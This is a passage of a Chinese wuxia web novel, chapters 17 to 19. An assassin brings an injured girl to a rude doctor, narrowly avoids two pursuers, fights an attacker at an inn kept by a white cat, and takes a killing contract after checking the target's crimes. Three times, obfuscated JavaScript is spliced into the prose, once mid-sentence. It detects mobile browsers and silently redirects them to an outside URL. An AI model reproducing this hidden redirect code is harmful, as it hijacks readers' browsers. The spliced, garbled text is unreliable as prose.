叶玖脸上也浮现出深深的困惑和凝重:“虽然匪夷所思,但痕迹确实指向这一点,江晚怜的腿伤可能比我们想的严重,无法行走,而无忏……”她顿了顿。 “选择了背她。” 这意味着什么?意味着无忏不仅没有丢下受伤的江晚怜,甚至不惜耗费更多体力、降低自身灵活性,也要带着她一起走。这绝非对待“累赘”或“人质”的态度,到底为什么? “他们的关系,绝对不简单。”李子遥沉声道,之前的轻视和不以为意被此刻的发现冲击得七零八落。 “嗯。”叶玖站起身,望向脚印延伸的暮色深处,目光锐利如出鞘的软剑:“加快速度,他们这样走,速度不会比我们快太多,落霞镇……我们必须赶在他们完全隐匿入人流之前,找到他们。” 两人不再多言,提起轻功,沿着那行深深的足迹,急速追去。夕阳将他们的影子拉得很长,投向山林深处,如同两道紧追不舍的箭矢。 落霞镇灯火初上的轮廓,已隐约在前方地平线浮现。而镇中等待几方人马的,将是更复杂的情报迷局、更隐蔽的杀机,以及那尚未浮出水面、却已留下“长堤柳色入笙歌”这一缕诡异诗痕的幕后之人。 17. 怪医 暮色完全吞没天光时,无忏背着江晚怜,停在落霞镇东南角一条极僻静巷子的尽头。眼前是一扇毫不起眼的窄木门,门板老旧,连招牌也无,只门楣上悬着个半新不旧的褪色葫芦,在晚风里轻轻晃悠。 “到了。”无忏将她放下,抬手叩门。叩击声带着特定节奏,三长两短。 门内传来踢踢踏踏的脚步声,由远及近,伴随着一句含糊不清的咕哝:“……他娘的,这个点儿……”门“吱呀”一声拉开一条缝,露出一张年轻却顶着两个明显黑眼圈的脸。来人看起来二十出头,头发用一根木簪随意挽着,几缕碎发垂在额前,身上套着件半旧不新的灰布长衫,袖口染着些可疑的深色痕迹,像是药渍又像别的什么。 他眯着还没完全清醒的眼睛,先瞥见门口高大的黑影和那柄显眼的黑剑,眉头立刻拧起,语气恶劣:“操!怎么是你?” 随即,目光下移,落到扶着墙、一身狼狈还瘸着腿的江晚怜身上,显然是惊讶:“我的娘嘞…你居然还会带着一个人,还是个姑娘!?” 无忏对他的这番说辞毫无反应,只侧身让开一点,让门内灯光更清楚地照到江晚怜腿上的伤。 “‘毒蛛’的缠魂丝,毒未清干净,处理一下。” 年轻郎中翻了个白眼,嘴上不饶人:“老子这是医馆,不是善堂!更不是给你这煞星擦屁股的……啧,进来进来,别杵门口当门神!”他虽骂骂咧咧,却还是拉开了门,侧身让两人进去,随即迅速关上门,落了闩。 门内是个不大的院子,堆着不少晾晒的药材,空气中弥漫着复杂的药草气味。穿过院子就是诊堂,同样狭小,但收拾得意外整齐,各种药材、器具分门别类。灯光下,江晚怜才看清这郎中的全貌——面容其实颇为清秀,只是那副睡不醒又暴躁的表情,以及眼底的乌青,硬生生把颜值拉低了几分。 “躺那边榻上。”郎中指了指墙边一张铺着干净白布的小榻,自己转身去洗手,水盆被他弄得哗啦作响,嘴里也没停,“‘毒蛛’……排名十九那个玩阴丝的变态?你们挺能惹啊。” “死了没?” 最后一句是问无忏。 “废了右手,跑了。”无忏言简意赅。 “嘁,算他命大。”郎中擦干手,走到榻边,示意江晚怜把伤腿放平。他检查伤口的动作倒是与粗俗言语截然相反的利落专业,指尖轻按,观察颜色,又凑近嗅了嗅。“缠魂丝上的‘麻骨散’,剂量不大,就是你这丫头细皮嫩肉的,反应重点。”他边说边打开一个乌木药箱,取出银针、小刀和几个瓶罐,“清余毒,放点淤血,再上老子的独门金疮药,包你三天内能跑能跳——当然,想跟这煞星一样飞檐走壁就别指望了。” 江晚怜被他一口一个“丫头”、“老子”还有毫不客气的诊断弄得有点懵,但莫名觉得这人……挺有意思?至少比无忏那张冰块脸生动多了。“有劳……大夫?”她试探着称呼。 “苏衍。”郎中头也不抬,拿银针在灯焰上灼烧,他下针又快又准,江晚怜只觉得几处穴位微麻微胀,伤口的灼痛感便开始消退。接着,他用消过毒的小刀在伤口边缘极轻地划开一个小口,放出少许颜色发暗的血液,动作熟稔。 “忍着点,可能有点疼……不过你能跟在这家伙身边,这点疼估计不算什么。”苏衍嘴上不停,手上动作却极其稳定。清理、上药、包扎,一气呵成。那药膏呈淡金色,敷上去清清凉凉,十分舒服。 “谢谢苏大夫。”江晚怜这次诚心实意地道谢。 苏衍摆摆手,开始收拾器具,瞥了一眼一直抱剑靠在门边、沉默得像道影子的无忏,嗤笑一声:“谢我?不如谢你命硬,跟这么个灾星同行还能喘气儿。”他走到一旁的水盆边再次洗手,背对着无忏,语气随意却带着点深意,“镇子东头的‘老烟杆’前天喝多了,跟人唠嗑,说最近忘尘客栈接的‘加急单子’里,北边来的占了三成,价码都开得离谱。其中有个单子,特别注明要‘彻底干净’,连点灰都不留的那种。” 无忏的眼眸在昏暗光线下微动:“具体。” “我他妈哪知道具体?‘老烟杆’也就听了一耳朵,吓得酒都醒了三分。”苏衍擦干手,转过身,脸上那玩世不恭的表情收敛了些:“就知道挺急,中间人催得跟催命似的,而且……好像不止一拨人在打听江家那档子事。”他说着,目光似有若无地扫过江晚怜。 江晚怜心头一跳,江家…… 无忏沉默片刻,从怀中取出一些碎银放在旁边的桌上:“她的伤,换洗衣服。” “就知道使唤老子。”苏衍撇嘴,但还是收起了银子:“后头小间有热水,干净的衣服……应该有我妹前阵子落下没带走的,这妹子先凑合穿。至于你,”他嫌弃地看了眼无忏,“黑不溜秋的,老子这儿只有你之前的那套丧服!破的洞叫裁缝补好了。” 无忏没理会他的挖苦,只对江晚怜道:“去收拾。” 江晚怜在苏衍的指引下,挪到后头一个小房间。果然有热水和干净的布巾,还有一套叠好的女子衣裙,是浅藕荷色,料子普通但柔软干净。她快速擦洗,换上新衣,虽然尺寸略有些不合身,但比起之前那身好太多了,她将头发重新梳理,绑了两个简单的辫子垂于身前,收拾妥当后,感觉整个人都活了过来。 回到前堂,无忏也已经换了一身衣服,依旧是玄黑色,但款式更接近寻常江湖人的劲装,少了几分之前的肃杀,多了些风尘仆仆的利落,苏衍不知从哪给他翻出来的。 “人模狗样。”苏衍评价道,扔给江晚怜一个小布包:“伤口的药隔日换一次,自己弄或者找个靠谱的郎中——别找我,老子看见他就烦。”他指向无忏。 江晚怜接过药包,忍不住笑了:“你……挺厉害的。” 苏衍哼了一声,脸上却满是嘚瑟:“赶紧滚蛋,别耽误老子补觉!最近落霞镇也不太平,眼睛放亮点。” 两人离开这隐秘的医馆,重新没入夜色。镇上的灯火比来时更密集了些,夜市似乎开始了,喧闹声从主街方向隐隐传来。 “现在去哪?”江晚怜问,腿脚果然轻便了许多,虽然还不能快跑,但正常行走已无大碍。 “找地方落脚。”无忏的目光掠过街巷:“顺便打听消息。” 他们挑了一条相对热闹、但人流不至于摩肩接踵的街道走着。江晚怜好奇地打量着古代夜市,在她印象中,古人似乎都是特别早便睡下了,但这却不一般:有卖吃食的、杂耍的、卖小玩意的,琳琅满目,暂时冲淡了连日的紧张。 ——与此同时,在通往镇西“忘尘客栈”的一条主街上。 叶玖与李子遥并未急于投宿,而是决定先去这鱼龙混杂之地探听风声。两人并肩而行,看似与周围闲逛的江湖客无异,目光却锐利地扫视着过往行人,耳朵也捕捉着零碎的话语。 “师姐,直接去忘尘客栈,会不会太扎眼?”李子遥低声问。 “正因扎眼,才更可能听到平时听不到的话。”叶玖声音平静:“我们以打听江湖消息为由,谨慎些便是。” 两人正说着,已行至一段较为拥挤的街口。前方一个卖糖人的摊子围了些孩童和路人,稍稍阻滞了人流。叶玖侧身避让,目光下意识地扫过迎面而来、正从人群缝隙中穿出的两人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002860|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 走在前面的男子一身玄黑衣衫,身姿挺拔如松,腰间悬着剑,大半面容隐在檐下阴影里,只露出线条冷硬的下颌。但那种即便收敛也依然存在的、与周遭格格不入的孤冷气息,让叶玖瞬间警醒。 她的视线迅速落向男子身后半步——一个穿着浅藕荷色衣裙的姑娘,正微微低头,小心地避让着行人,侧脸在街边灯笼的光晕下显得有些模糊,但身形轮廓…… 那姑娘似乎被旁边一个莽撞的挑夫蹭了一下,脚下一绊,下意识抬手扶住了前面男子的手臂。男子脚步一顿,极快地侧头看了她一眼。 就是这一侧头! 灯笼的光恰好掠过他半边脸庞,映出那双在阴影中依旧无法完全掩去异色的眸子,以及那双眸深处一闪而过的、对身旁人下意识的留意。 无忏! 而那个穿着浅藕荷色衣裙、被他短暂回护的姑娘……就是江晚怜! 叶玖的心脏在那一刹那几乎停跳,血液冲上头顶。她的手已条件反射般按向腰间软剑,全身肌肉绷紧,进入了随时可拔剑出击的状态。 然而,就在她即将动作的前一瞬,无忏的目光似有所感,极其轻微地朝她这个方向偏移了毫厘。尽管隔着晃动的人影和明暗交错的光线,那目光并未真正锁定她,但其中蕴含的冰冷警觉,像一盆冰水骤然浇下。 不能动手! 叶玖的理智在尖叫。这里是人流密集的街口,一旦动手,必然伤及无辜,引起混乱,且对方反应速度绝不慢于自己,江晚怜又近在咫尺……毫无把握! 就在她这瞬息犹豫间,无忏已极其自然地收回目光,仿佛刚才只是随意一瞥,同时手腕微动,不着痕迹地将江晚怜往自己身侧带了带,随即两人脚步加快,迅速没入了旁边一条更暗、人流更少的小巷,消失在憧憧灯影与夜色之中。 整个过程不过两三息。 “师姐?”李子遥察觉到叶玖瞬间的僵硬和气息变化,顺着她方才目光所及之处望去,却只看到寻常往来的人流,“怎么了?” 叶玖缓缓松开紧握剑柄、已微微出汗的手,深吸了一口气,压下胸腔里剧烈的心跳和翻腾的情绪。她再看向那条已空无一人的小巷口,眼神复杂无比。 “我看到他们了。”她声音压得极低,几乎只有气音:“就在刚刚。” 李子遥瞳孔骤缩:“什么?!那为何……” “街上人多,不是动手的时机。”叶玖打断他,语气恢复了冷静,但指尖仍有些微凉,“而且,无忏似乎有所察觉。他们换了装扮,江晚怜穿着浅藕荷色的裙子,行动如常,腿伤应已处理过。” 她顿了顿,目光投向街道尽头那栋不起眼的三层木楼——那里悬挂着一盏昏黄的旧灯笼,灯笼上似乎有个模糊的印记,正是“忘尘客栈”的所在。 “他们……”叶玖的眉头深深蹙起,“看方向,似乎也是往那边去的。” 李子遥瞬间明白了:“是客栈?他们要去那里打探消息?还是……” 叶玖摇头,眼神却越发锐利:“子遥,我们跟上去。” 两人不再多言,借着人群掩护,远远跟随着,朝着忘尘客栈的方向悄然掩去。街市喧嚣依旧,糖人的甜香、叫卖声、孩童的笑闹声交织成一片太平盛景,却无人知晓,几道危险的影子已如滴水入海,悄无声息地汇入了这片繁华的底色之下,朝着同一个漩涡中心缓缓逼近。 灯火阑珊,人影交错。 相隔不过数步之遥的两拨人,在落霞镇最热闹的街头,完成了一次惊心动魄、却又悄然无声的擦肩。而这次擦肩,将彻底打破小镇表面平静的夜幕。 18. 客栈、未尽的诗 忘尘客栈的门面,比江晚怜想象中要低调得多。 若非无忏目标明确地停在这栋临河的三层木楼前,她几乎要错过——门楣上无字无匾,只悬着一盏昏黄的旧灯笼,灯笼纸上用墨浅浅勾了只蜷缩打盹的猫影,在晚风中轻轻旋转。门半掩着,里头透出的光不亮,人声也压得低,像隔着一层水传来。 “这里?”江晚怜小声问,莫名有些紧张。这里看起来……太安静了,和外面夜市的热闹像是两个世界。 “嗯。”无忏推门而入。 门内的景象却与门外的冷清截然不同。大堂颇为宽敞,错落摆着二十来张桌子,约莫坐了六七成客。光线是暖黄的,但并不明亮,许多角落都沉浸在舒适的阴影里。客人三教九流,有独自酌饮的,有低声交谈的,有默默吃面的,但无一例外,都保持着一种奇特的“边界感”——不过分关注他人,也轻易不让他人靠近自己的谈话圈。空气里浮动着酒菜香气、旧木头的味道,还有一种紧绷而谨慎的气氛。 最引人注目的是柜台——或者说,是柜台后那个“掌柜”。 一只通体雪白、唯有尾尖染着一缕墨色的长毛猫,正揣着前爪,慵懒地卧在一方铺着软垫的高凳上。它碧蓝的眼睛半睁半闭,似睡非睡,偶尔扫过堂内客人,目光竟带着几分人性化的审视与淡然。柜台后不见其他人影,只有几个小伙计沉默利落地穿梭送着酒菜,经过柜台时,都会下意识地放轻脚步。 “猫……真的是猫?”江晚怜有点傻眼,漫画里可没画这么细!她还想摸摸毛茸茸的掌柜,却被拍了一爪子。 “嗯。”无忏似乎对这场面司空见惯,径直走到柜台前。 白猫掌柜的耳朵几不可察地动了动,碧蓝的眼珠转向他们,在无忏的黑剑和他异色的瞳孔上停留了一瞬,又在江晚怜浅藕荷色的裙摆和略显好奇的脸上掠过。它没出声,只是慢条斯理地抬起一只前爪,优雅地舔了舔,然后用爪垫推了推柜台上一块光滑的木牌。 木牌上刻着简单的房型和价目,下面是几个空白的格子,旁边放着笔墨。 无忏看了一眼,取出银子放在柜台一角,又提笔在木牌下空白的格子里写了个什么——不是名字,像是个简单的符号。随即,一枚系着细绳的铜钥匙被一只毛茸茸的爪子推了过来,钥匙上刻着“乙七”。 全程无话。 江晚怜看得一愣一愣的,这业务熟练得……仿佛每天接待几百个这样的匿名客。 就在无忏拿起钥匙,准备带她上楼时,白猫掌柜忽然极其轻微地“喵”了一声,声音低得几乎听不见。它碧蓝的眼睛看向无忏,尾巴尖那缕墨色不易察觉地轻点了一下柜台面,方向似乎指向大堂某个靠柱子的阴影角落。 无忏脚步未停,但江晚怜顺着那方向瞥了一眼——那里坐着个独饮的干瘦老头,戴着斗笠,看不清脸,面前只一壶酒,却半天没动。似乎……从他们进门起,那人的姿势就没什么变化。 是提示?还是她想多了? 与此同时,客栈的门再次被轻轻推开。 叶玖与李子遥走了进来。两人已尽量收敛气息,扮作寻常寻宿的江湖客,但叶玖的目光在踏入门口的瞬间,已如最精准的尺,扫过了大堂每一个角落,最后,定格在刚踏上楼梯转角、那一抹熟悉的玄黑与浅藕荷色背影上。 “别回头。”无忏的声音很低,“跟着我。” 江晚怜被这声音吓得立刻收回视线,紧跟在他身后。木质楼梯发出轻微的“嘎吱”声。她能感觉到几道隐晦的目光从不同的方向投来。 就在他们踏上楼梯转角,身影即将没入二楼阴影的刹那—— “站住!” 一声清喝自身后响起,带着年轻人特有的锐气。 又是李子遥。 他终究没能完全按捺住。眼见目标就要消失在视线里,那股急于证明自己的冲动,冲垮了最后一丝谨慎。他一个箭步上前,手已按上剑柄,指向楼梯方向:“无忏!”这一声在相对安静的大堂里不啻于惊雷,几乎所有人都停下了动作,数十道目光齐刷刷地投向楼梯口。 叶玖心中暗叫不好。但事已至此,她只能迅速上前半步,与李子遥并肩,软剑虽未出鞘,但姿态已表明立场。 无忏在楼梯上停下,微微侧首。 他的声音清晰地传遍大堂:“榜首居然在这!?”话音未落,异变陡生! “哈哈哈!暗杀榜第四十六本大爷在此!江晚怜的人头,归我了!” 一个魁梧大汉掀翻桌子跳起来,碗碟哗啦碎了一地。他挥舞着一对沉重的镔铁斧,像头蛮牛般冲向楼梯,挡路的桌椅被他随手劈开,木屑纷飞。 “四十六?”缩在无忏身后的江晚怜忍不住小声嘀咕,“这排名听着就不太吉利啊……” 大堂瞬间炸锅,有人退后,有人离开。柜台上的白猫掌柜只是掀了掀眼皮,把脑袋埋进爪子,尾巴不耐烦地甩了甩——眼看双斧已呼啸着砍向无忏下盘,江晚怜的心提到了嗓子眼。 “低头。”他的语气中带着“又来一个蠢货”的无奈感。 无忏话音落下的同时,黑剑出鞘,一道乌黑的轨迹,精准点在最先劈来的斧刃侧面。 “铛——!” 震耳欲聋的撞击声!大汉势在必得的一斧被点得歪向一旁,重重砸在楼梯扶手上。结实的木头应声炸开一片,碎木碴子乱飞。 大汉虎口发麻,还没反应过来,那黑剑已借力弹起,毒蛇吐信般直刺他咽喉!他慌忙用另一把斧头去挡,却见剑尖在空中诡异地一颤,改刺为削,轻飘飘掠过了他持斧的右手腕。 “噗嗤。”血光迸现。 “啊——!我的手!”大汉惨嚎着松手,斧头“哐当”砸在地上。他捂着手腕踉跄后退,那道伤口深可见骨。 无忏已收剑回鞘,依旧站在楼梯上,连衣角都没乱。 大汉再不敢停留,连地上的斧头都顾不上捡,连滚爬地撞开几张桌子,在众人的注视下狼狈不堪地挤出大门,消失在外面的夜色里,从暴起到溃逃,不过五六息时间。 大堂里一片寂静,只剩下一地狼藉。碎木、瓷片、酒菜汤汁混在一起,几张桌子椅子散了架,空气中飘着食物的气味和淡淡的铁锈味。 江晚怜从无忏背后探出半个脑袋,眼睛瞪得圆圆的。她知道无忏厉害,但每次看现场版还是觉得……好夸张,这真的是人类能做到的速度和精准度吗?而且—— “他就这么跑了?”她压低声音,难以置信,“斧头都不要了?四十六爷的尊严呢?” 无忏没回答,只是侧身将她往楼梯内侧又挡了挡,目光扫过楼下。 叶玖和李子遥并未参与方才的打斗,而是紧守原地,警惕地环视四周——尤其是那个始终未动的斗笠老头。两人身上都沾了些飞溅的木屑和汤汁,略显狼狈。 叶玖持剑的手紧了紧,看向楼梯上的无忏,眼神复杂。方才那一剑,她看得分明:快、准、狠,毫不拖泥带水,甚至带着一种……厌倦? “子遥,走!”她当机立断。 李子遥脸色难看,胳膊被飞溅的木片划了道口子,正渗着血。他狠狠瞪了无忏一眼,终究没再与自己的师姐犟嘴,跟着叶玖警惕地退向门口。 江晚怜看着他们消失在门外,又看了看满目疮痍的一楼,最后目光落回柜台——那只白猫掌柜不知何时又抬起了头,碧蓝的眼睛正慢悠悠地扫过破损的楼梯扶手、翻倒的桌椅、还有地上那柄被遗弃的镔铁斧。 然后,它轻轻地、充满谴责意味地,“喵”了一声。 江晚怜莫名觉得后背一凉。这猫……该不会是在算账吧? 就在这时,柜台方向传来一声懒洋洋的、带着十足肉垫感的“喵——” 只见那白猫掌柜不知何时已站了起来,伸了个长长的懒腰,然后轻盈地跳下高凳,踱步到一片狼藉的大堂中央,它用爪子扒拉了一下断裂的桌腿,又凑到洒了一地的酒菜前嗅了嗅,最后,它抬起头,碧蓝的眸子先看了看正准备离开的叶玖和李子遥,又转向楼梯上的无忏。 虽然它只是一只猫,但那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002861|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻,所有人都奇异地从它脸上读出了清晰无比的表情:不满,以及明码标价的算计。接着,白猫掌柜走到柜台边,伸出爪子,在一个不起眼的小铜铃上,“铛”地拍了一下。 后堂立刻小跑出来一个精瘦的伙计,手里拿着算盘和账本,脸上挂着职业化的微笑。 伙计先是向四方宾客团团作了个揖:“惊扰各位客官了,小店招待不周,还望海涵。今日所有在场客官的酒水,免单。” 话音刚落,他转向叶玖、李子遥,又抬眼看了看楼梯上的无忏,笑容不变,语气客气却不容商量:“至于打坏的桌椅门窗、惊吓其他客官的损失……按忘尘客栈的规矩,谁挑的头,谁动的第一下手,谁造成的破坏,就由谁负责赔偿。”他拨了几下算盘,“承惠,纹银八十七两,零头已抹,概不赊欠。” 他的目光,主要落在李子遥身上——正是他先喝问拔剑,挑起了事端。 李子遥的脸瞬间涨红。叶玖嘴角微抽,看了一眼好整以暇的无忏,又看了看那只已经跳回高凳、开始优雅舔爪子的白猫掌柜,深吸一口气,从怀中取出钱袋,数出银子,放在伙计递过来的托盘里。 “走。”她一刻也不想多待,拉着李子遥迅速离开了客栈。 看热闹的众人见再无戏可看,也陆续散去,只剩下一地狼藉和几个伙计开始默默打扫。 无忏这才转身,对江晚怜道:“回房。” 江晚怜跟着他往二楼走,脑子里却还在飞速回放刚才的混乱。她压低声音,语速很快:“那个穿蓝衫、一直喝酒没动的人,在斧头傻子冲出来的时候,嘴角动了一下,好像很不屑……” 无忏脚步不停,推开“乙七”号房门,侧身让她进去,同时淡淡应了一声:“嗯。” 就在江晚怜一只脚跨进房门,无忏正要随之进入的瞬间—— 大堂角落里,那个始终如同泥塑的斗笠老头,忽然动了。他动作并不快,甚至有些迟缓地站起身,拍了拍身上并不存在的灰尘…然后,他端起桌上那壶一直没动的酒,仰头,将残酒一饮而尽。 接着,他用一种嘶哑而清晰、仿佛吟诵又仿佛自言自语的声音,缓缓念道: “长堤柳色入笙歌……” 江晚怜的脚步瞬间钉在原地,全身的血液似乎都涌向了耳朵。她猛地回头,看向楼下。无忏按在门框上的手,指节绷紧了一瞬。 那老头仿佛浑然不觉自己成了焦点,继续用那平淡无波的腔调,念出了下一句: “……临堤鸢影破春初。” 念罢,他将空酒壶轻轻放回桌上,戴上斗笠,慢悠悠地、一步一晃地,朝着客栈的后门方向走去,很快消失在昏暗的通道里,仿佛从未出现过。只有柜台上的白猫掌柜,在老头念诗的时候,耳朵微微动了动,碧蓝的眼睛瞥了一眼他离开的方向,随即又懒洋洋地闭上了。 江晚怜站在房门口,心脏怦怦直跳。长堤柳色入笙歌,临堤鸢影破春初……这分明是一联诗!毒蛛只知道前半句,而这老头,知道后半句!他是谁?是故意念给他们听的?还是巧合? 无忏已经将她轻轻拉进房间,关上了门,隔绝了外界,房间不大,但干净整洁。 “他……”江晚怜急急开口。 “听到了。”无忏走到窗边,检查了一下窗栓,并未推开。 “他是故意念给我们听的?”江晚怜压低声音:“他知道我们在查这个?还是…” “都有可能。”无忏在椅子上坐下,长剑横放膝头:“暂时不要深究。” “为什么?” “知道全诗的人,要么是核心,要么是诱饵。”无忏闭上眼,“现在深究,会踩进别人的局。” 江晚怜琢磨着他的话,觉得有道理,但心痒难耐。这就像看漫画看到最关键处突然断更一样抓心挠肺。 “那叶玖他们……听到这句了吗?”她想起叶玖他们离开时的方向,似乎离那老头不远。 “或许。”无忏道,“但对他们而言,这只是句没头没尾的诗,意义不大。” 19. 生意 晨光透过客栈窗棂的缝隙,在房间的两张床上切出几道明晃晃的光带。江晚怜是被腿伤处换药时清清凉凉的感觉弄醒的,她好久没在床上睡觉了,本想赖个床,却无法忽视那种冰凉感——无忏正蹲在榻边,手法熟练地拆开昨晚苏衍包扎的布条,检查伤口,然后重新敷上那淡金色的药膏。 “嗯……好了?”她迷迷糊糊地问,揉了揉眼睛。伤口看起来红肿消退了不少,只剩下些微刺痛和麻痒。 “近日可愈。”无忏简言之,收拾好药瓶:今天……不出镇。” “不出镇?”江晚怜坐起来,揉了揉睡得有些僵的脖子:“那我们干嘛?窝在客栈里孵蛋?”经历了昨晚的混战和那句诡异的诗,她以为他们会立刻想办法追查或者转移。 无忏已经站起身,走到窗边,目光落在楼下开始复苏的街道:“接个活。” “接活?”江晚怜愣了一下,随即反应过来:“你是说……!” “嗯。” “在这里接?忘尘客栈?”她试图让语气听起来平常点。 “找那只猫掌柜。”无忏转身,拿起桌上的黑剑:“当然,只接恶者的单。” 江晚怜懂了,这是他的规矩,也是他获取情报和——维持生计的方式之一,毕竟带着她这么个“金元宝”东躲西藏,也得吃饭住店。 她飞快地洗漱,跟着无忏下了楼。 大堂已经收拾得差不多了,损坏的桌椅换了新的,地板也擦洗干净,只有空气中还残留着一丝淡淡的、混合了木头、药材和酒气的复杂味道,提醒着昨晚的不平静。白猫掌柜依旧揣着爪子卧在高凳上,碧蓝的眼睛半眯着,对陆续下楼用早点的客人爱搭不理。 无忏径直走到柜台前,放下一小锭银子。 白猫掌柜的耳朵动了动,睁开眼,看了看银子,又抬眼看了看无忏,再慢悠悠地瞥了一眼他身后的江晚怜。然后,它伸出爪子,把银子扒拉到柜台下面一个不起眼的小抽屉里,接着,用爪子从抽屉里勾出一卷薄薄的、裁切整齐的纸条,推到无忏面前。 纸条是空白的。 无忏拿起旁边备着的笔,在纸条上写了个什么——不是字,像是个简单的标记。写完后,他将纸条放回柜台。 白猫掌柜用爪子按住纸条,低头看了看,虽然江晚怜只觉得天知道猫怎么看懂。它的尾巴轻轻一摆,从身后某个暗格里又扫出一张稍大些的纸条,上面用端正的小楷写着几行字。 江晚怜好奇地伸长脖子,由于个子矮,从侧面勉强瞥见几眼。 “目标:陈世荣,身份:落霞镇陈记粮行独子,地点:镇西别院。时限:三日。酬金:二百两银。”下面还有几行小字,大概是关于目标常去的地点、习性之类的简要描述。 无忏快速看完,目光在“陈记粮行”和“镇西别院”上略微停留,然后看向白猫掌柜,手指在“陈世荣”这个名字上点了点。 白猫掌柜懒洋洋地“喵”了一声,碧蓝的眼睛里闪过一丝人性化的了然,它爪子一翻,又推过来一张更小的纸条,上面只写着两个字:“王琨”。 “委托人?”江晚怜小声问。 无忏“嗯”了一声,收起两张纸条,转身离开柜台。 “这就……接完了?”江晚怜跟上,觉得这流程简单得有点过分。 “猫掌柜只对接榜上有名者,它知道我,会看过纸条,知是否合规矩。”无忏走向客栈门口:“不合规矩的单,它不会递。” “规矩,就是只杀有罪之人…对吧?” “这只是我的规矩。” “那你怎么知道这个陈世荣有罪,就单单凭一只猫?”江晚怜追问:“万一委托人王琨是个混蛋,故意诬陷呢?” 无忏在门口停下脚步,侧头看她,异色的眼瞳里没什么波澜:“所以,要查。” “……好吧。”江晚怜觉得他这杀手当得挺有原则,要是一不小心伤了无辜者可不行,堪比现代某些有职业操守的私家侦探,当然如果侦探也兼职杀人的话。 可就是这样一个有原则的杀手,怎么会是反派呢? 出客栈前,她差点忘记了什么——她把自己之前那套周纤巧送的衣裳从怀中拿出,放于白猫掌柜的面前。 “那什么……姑且寄放在你这,可以不?”她有些尴尬的说,她也不确定这只猫听不听得懂。 白猫掌柜长长“喵”了一声,居然就这样窝在了衣服上。 好吧,应该是同意了。 ——接下来的大半天,江晚怜领略到了“杀手接活后的准备工作”是什么样子的。 无忏没去镇西别院,也没去陈记粮行。他带着她,在落霞镇那些不那么繁华、甚至有些腌臜的街巷里转悠。他们去了菜市口听老妇人们扯闲篇,蹲在茶馆外头听跑堂的跟熟客抱怨,甚至“路过”了两次镇上的义庄——从看守的老头那儿“买”了壶劣酒,顺便听了满耳朵的牢骚。 江晚怜一开始还有些茫然,但很快,她就从那些零碎的、充满市井气息的抱怨和咒骂里,拼凑出了“陈世荣”的形象。 陈记粮行东家的独苗,二十出头,不学无术,好色暴戾。强占田产逼死过佃户,当街纵马撞伤过路人,至于逛青楼赖账、殴打妓子、欺辱小贩,更是家常便饭。最让人齿冷的是,去年他强纳的一个小妾,不过两月便“暴病身亡”,尸体抬出来时,有胆大的瞥见满是伤痕。衙门收了陈家的钱,以“夫妻口角,失足跌亡”结了案。 “就是个彻头彻尾的人渣啊。”蹲在一条僻静巷口,啃着无忏买来的烧饼,江晚怜总结道,心里那点因为“杀人”而产生的膈应,在听到那些具体而微的恶行后,变成了某种沉甸甸的厌恶:“那个王琨呢?又是什么货色?” 无忏喝了一口葫芦里的清水,道:“城东王记赌坊的东家,陈世荣因争抢一个舞姬结仇,暗斗数次,各有损伤,手上也不干净。” “还真是狗咬狗。”江晚怜撇撇嘴,把最后一口烧饼塞进嘴里,“所以,你接这单,是因为陈世荣确实该杀,至于王琨付钱……算是替天行道顺便赚点劳务费?” 无忏看了她一眼,没承认也没否认,只是站起身:“这些够了,回去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002862|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到忘尘客栈时,已是下午,大堂里人不多,白猫掌柜在柜台上打盹。 无忏走过去,手指在柜台面上敲了敲特定的节奏。 白猫掌柜睁开眼,看了他一下。 无忏点了点头。 白猫掌柜的尾巴尖轻轻一摆,表示知晓。这意味着,调查完成,确认目标符合“规矩”,任务正式成立。 整个过程无声,却有种奇特的郑重感。 上楼回房,关上门,江晚怜才长长舒了口气,瘫在椅子上。“接下来,就是等晚上去……干活了?”她试着用比较中性的词。 “子时。”无忏在窗边坐下,开始闭目养神,“你留在这里。” “我跟你去。”江晚怜脱口而出。话一出口,她自己都愣了一下。 无忏睁开眼,异色的眸子看向她,带着明显的审视。 “我……”江晚怜硬着头皮,“我得去盯着!万一……万一有意外呢?我虽然腿脚不利索,但我可以……望风!”这个理由是她从上次乡绅帮无忏把风的经历里找出来的。 无忏沉默地看了她几秒,就在江晚怜以为他又会干脆拒绝时,他却重新闭上了眼睛。 “你腿伤未愈,易成拖累。” 语气平淡,是陈述事实,不是嫌弃,但比嫌弃更让人无从反驳。 江晚怜张了张嘴,想说自己可以小心点,但摸了摸还隐隐作痛的腿,又把话咽了回去。他说得对,她跟去,除了让他分心保护,确实没什么用,还可能坏事。 “……好吧。”她有点泄气地坐下,“那你自己小心。” 无忏应了一声,不再说话。 